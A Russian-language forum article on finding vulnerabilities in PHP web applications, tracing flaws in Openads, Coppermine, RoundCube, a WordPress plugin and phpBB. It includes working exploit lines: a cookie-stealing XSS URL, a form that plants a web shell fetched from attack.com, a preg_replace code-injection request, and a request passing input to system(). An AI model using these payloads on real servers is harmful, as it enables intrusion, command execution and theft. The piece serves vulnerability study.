Поиск уязвимостей в веб приложениях

2010-07-05T00:00:00
ID RDOT:71
Type rdot
Reporter (dm)
Modified 2010-07-05T00:00:00

Description

В этой статье я собрал интересные на мой взгляд ошибки в php скриптах. Но для начала, описание некоторых параметров PHP-интерпретатора:

Цитата:

register_globals = ON - все переменные регистрируются как глобальные;
magic_quotes_gpc = ON - в массивах _POST, _GET, _COOKIE экранируются кавычки и опасные символы, делает невозможным использование null byte
display_error = ON - вывод ошибок php
allow_url_fopen = ON - разрешает использование потоков http:// или ftp:// для функций работы с файлами
allow_url_include = ON - разрешает использование потоков http:// или ftp:// для функций подключения файлов (include, require и т.д)


И так начнем:

[ + ] Ошибка заключается в том что переменные не были заранее определены в скрипте.

На примере Openads 2.0.11-pr1*
**Уязвимость:
XSS
Условия: *register_globals = ON

>> adcontent.php

PHP код:

~~~~~~~~~~~~~~~~~~~~
//*** Переменная $row не определена

if (isset($zoneid) && $zoneid > 0) {
~~~~~~~~~~~~~~~~~~~~
$row['bannerid'] = (int)$bannerid;
$row['zoneid'] = $zoneid;
$row['prepend'] = $prepend;
$row['append'] = $append;
} else {
$row['bannerid'] = (int)$bannerid;
$row['zoneid'] = 0;
//*** Переменная $row['prepend'] и $row['append'] не установлена
}

/
Функция делает запрос к базе(кэшу), возвращает массив
состоящий из информации о баннере, но среди полей нет
append и prepend
/
$details = phpAds_getBannerDetails($row['bannerid']);

~~~~~~~~~~~~~~~~~~~~
// Тут происходит объединение 2х массивов
$row = array_merge($row, $details);
//
Передача данных функции для формирования html кода баннера
$output = phpAds_prepareOutput($row, '_blank', $source, false);
~~~~~~~~~~~~~~~~~~~~

>> includes/lib-view-main.inc.php

PHP код:

~~~~~~~~~~~~~~~~~~~~
function phpAds_prepareOutput($row, $target, $source, $withtext){

global $phpAds_config;
$outputbuffer = '';

/
Тут мы видим что в html код баннера добавляется
содержание переменной $row['prepend'];
/
if (isset($row['prepend']))
$outputbuffer .= $row['prepend'];

~~~~~~~~~~~~~~~~~~~~

/
Тут мы видим что в html код баннера добавляется
содержание переменной $row['append'];
/

if (isset($row['append']))
$outputbuffer .= $row['append'];

~~~~~~~~~~~~~~~~~~~~

Сплоит:

Цитата:

http://openads/adcontent.php?bannerid=id&row[prepend]=<script>alert(document.cookie)</script>

Описание:
В данном случае мы имеем xss, из-за того что массив row не был определен в начале скрипта. И мы можем спокойно передать в параметре row[prepend] любые данные.

[ + ] Обход удаления глобальных переменных
Во многих скриптах, чтобы не возникло ситуации как с Openads 2.0.11-pr1 (в случае register_globals = ON), просто удаляют переменные переданные скрипту через POST, GET и т.д. из массива GLOBALS, но не всегда делают это правильно )))
На примере Coppermine gallery 1.3.3
Уязвимость: Загрузка произвольных файлов
Условия:
register_globals = ON
allow_url_fopen = ON

>> include/init.inc.php

PHP код:

~~~~~~~~~~~~~~~~~~~~
// Удаление глобальных переменных переданных методом POST
if (is_array($HTTP_POST_VARS)) {
foreach ($HTTP_POST_VARS as $key => $value) {
if (!is_array($value))
$HTTP_POST_VARS[$key] = strtr($value, $HTML_SUBST);
if (isset($$key)) unset($$key); //
Удаляется глобальная переменная
}
}

//*** Аналогично только для GET
if (is_array($HTTP_GET_VARS)) {
foreach ($HTTP_GET_VARS as $key => $value) {
$HTTP_GET_VARS[$key] = strtr($value, $HTML_SUBST);
if (isset($$key)) unset($$key);
}
}

if (is_array($HTTP_COOKIE_VARS)) {
foreach ($HTTP_COOKIE_VARS as $key => $value) {
if (isset($$key)) unset($$key);
}
}
~~~~~~~~~~~~~~~~~~~~

>> picEditor.php

PHP код:

require('include/init.inc.php');
~~~~~~~~~~~~~~~~~~~~
if (isset($HTTP_GET_VARS['id'])) {
$pid = (int)$HTTP_GET_VARS['id'];
} elseif (isset($HTTP_POST_VARS['id'])) {
$pid = (int)$HTTP_POST_VARS['id'];
} else {
$pid = -1;
}

//*** Если id не передавать, то $CURRENT_PIC - будет не определена
if ($pid > 0){
$result = db_query("SELECT * FROM {$CONFIG['TABLE_PICTURES']} WHERE pid = '$pid'");
$CURRENT_PIC = mysql_fetch_array($result);
mysql_free_result($result);
$pic_url = get_pic_url($CURRENT_PIC,'fullsize');
}

~~~~~~~~~~~~~~~~~~~~

if (!$img_dir) $img_dir = IMG_DIR;

if ($_GET['id']){
~~~~~~~~~~~~~~~~~~~~
}else if(!isset($newimage)){
$newimage = $_POST['newimage'];
}

~~~~~~~~~~~~~~~~~~~~

if(isset($_POST["save"])) {
~~~~~~~~~~~~~~~~~~~~
//*** Копируем файл
copy($img_dir.$newimage,$CONFIG['fullpath'].$CURRENT_PIC['filepath'].$CURRENT_PIC['filename']);

Сплоит:

Цитата:

<html>
<form action="http://cpg133/picEditor.php?img_dir=http://attack.com/&CURRENT_PIC[filename]=/shell.php"
method=post>
<input name="save" value="1">
<input name="newimage" value="shell.txt">
<input name="HTTP_GET_VARS" value="1">
<input type="submit">
</form>
</html>

<http://attack.com/shell.txt> - веб шелл, будет доступен по адресу <http://cpg133/albums/shell.php>
Нужны права администратора.


Описание:
В данном случае POST запросом передаем переменную HTTP_GET_VARS. В файле init.inc.php, при удалении глобальных переменных переданных методом POST будет удалена переменна HTTP_GET_VARS. В следствии чего переменные переданные методом GET остануться нетронутыми.
А так как переменные img_dir и CURRENT_PIC не были определены, мы можем пeредать им любые значения и загрузить файл на сервер через функцию copy().

[ + ] Небезопасное использование preg_replace с модификатором /e
На примере roundcube 0.2-3
Уязвимость: Выполнение произвольного php кода
<http://www.milw0rm.com/exploits/7549>

>> lib/html2text.php

PHP код:

~~~~~~~~~~~~~~~~~~~~
// Шаблоны с /e разрешают выполнение php кода
var search = array(
'/<a [^>]
href=("|\')([^"\']+)\1[^>]
>(.+?)<\/a>/ie', // <a href="">
'/<b[^>]
>(.+?)<\/b>/ie', // <b>
'/<th[^>]*>(.+?)<\/th>/ie', // <th> and </th>

~~~~~~~~~~~~~~~~~~~~
// Шаблоны для замены
var $replace = array(
'$this->_build_link_list("\\2", "\\3")', // <a href="">
'strtoupper("\\1")', //
Обратим внимание что используются " (двойные кавычки)
"strtoupper(\"\t\t\\1\n\")", // <th> and </th>

~~~~~~~~~~~~~~~~~~~~

$text = preg_replace($this->search, $this->replace, $text);

Дополнительная информация:

Цитата:

В php есть такая вещь как Complex (curly) syntax, пример:
<?
$great = 'fantastic';
echo "This is {$great}";
?>

Результат: This is fantastic

<?
$great = 'fantastic';
echo 'This is {$great}';
?>

Результат: This is {$great}

<?
$great = 'fantastic';
echo "This is {${phpinfo()}}";
?>

Результат: выполнится функция phpinfo();

Сплоит:

Цитата:

wget -q --header="Content-Type: ''" \
-O - --post-data='<b>{${phpinfo()}}</b>' \
--no-check-certificate \
http://127.0.0.1/roundcubemail-0.2-a.../html2text.php


Описание: Думаю тут все понятно, передаем скрипту <b>{${phpinfo()}}</b>, и выполняется код strtoupper("{${phpinfo()}}");

[ + ]* Небезопасное использование функций call_user_func_array(); call_user_func();
На примере Wordpress plugin WP-Syntax <= 0.9.1
**Уязвимость:
Выполнение произвольных команд
Условия:*
register_globals = ON
<http://www.milw0rm.com/exploits/9431>

>> wp-content/plugins/wp-syntax/test/index.php

PHP код:

//*** переменная $test_filter не определена

function apply_filters($tag, $string)
{
global $test_filter;

if (!isset($test_filter[$tag])) return $string;
uksort($test_filter[$tag], "strnatcasecmp");
foreach ($test_filter[$tag] as $priority => $functions)
{
if (is_null($functions)) continue;
foreach($functions as $function)
{
//*** Вызов функции переданной в $test_filter
$string = call_user_func_array($function, array($string));
}
}
return $string;
}

Сплоит:

Цитата:

GET /wp-content/plugins/wp-syntax/test/index.php?test_filter[wp_head][99][0]=session_start&test_filter[wp_head][99][1]=session_id&test_filter[wp_head][99][2]=system HTTP/1.0
Host: localhost
Cookie: PHPSESSID=dir
Connection: close


Описание:
Сначала вызываем функцию session_start, чтобы инициализировать сессию, затем с помощью функции session_id получаем ссылку на id сессии, которая будет передана в функцию system. Теперь через PHPSESSID можно передавать нужные нам параметры для функции system

[ + ] Небезопасное использование функции urldecode
На примере phpBB 2.0.10
Уязвимость: Выполнение произвольного php кода

>> viewtopic.php

PHP код:

~~~~~~~~~~~~~~~~
$highlight_match = $highlight = '';
if (isset($HTTP_GET_VARS['highlight']))
{
/*
Если передать $HTTP_GET_VARS['highlight'] = %2527,
как видно никаких опасных символов нет,
addslashes ничего экранировать не будет.

Но после urldecode($HTTP_GET_VARS['highlight']), %2527
превратится в %27, что эквивалентно '
/
$words = explode(' ', trim(htmlspecialchars(urldecode($HTTP_GET_VARS['highlight']))));
for($i = 0; $i < sizeof($words); $i++)
{
if (trim($words[$i]) != '')
{
//
Подготовка $highlight_match для поиска совпадений
$highlight_match .= (($highlight_match != '') ? '|' : '') . str_replace('
', '\w
', phpbb_preg_quote($words[$i], '#'));
}
}
unset($words);

$highlight = urlencode($HTTP_GET_VARS['highlight']);
}

~~~~~~~~~~~~~~~~
//
// Highlight active words (primarily for search)
//
if ($highlight_match)
{
//** Используя ' в $highlight_match, можно внедрить php код
$message = str_replace('\"', '"', substr(preg_replace('#(\>(((?>([^><]+|(?R)))
)\<))#se', "preg_replace('#\b(" . $highlight_match . ")\b#i', '<span style=\"color:#" . $theme['fontcolor3'] . "\"><b>\\\\1</b></span>', '\\0')", '>' . $message . '<'), 1, -1));
}

Сплоит:

Цитата:

http://phpbb/viewtopic.php?t=1&highl...hpinfo().%2527

Описание:
Соответственно если urldecode будет находиться после блока который отвечает за фильтрацию переменных (например addslashes), то в полне вероятно что этот фильтр можно будет обойти.

(c) (dm)
16.10.2009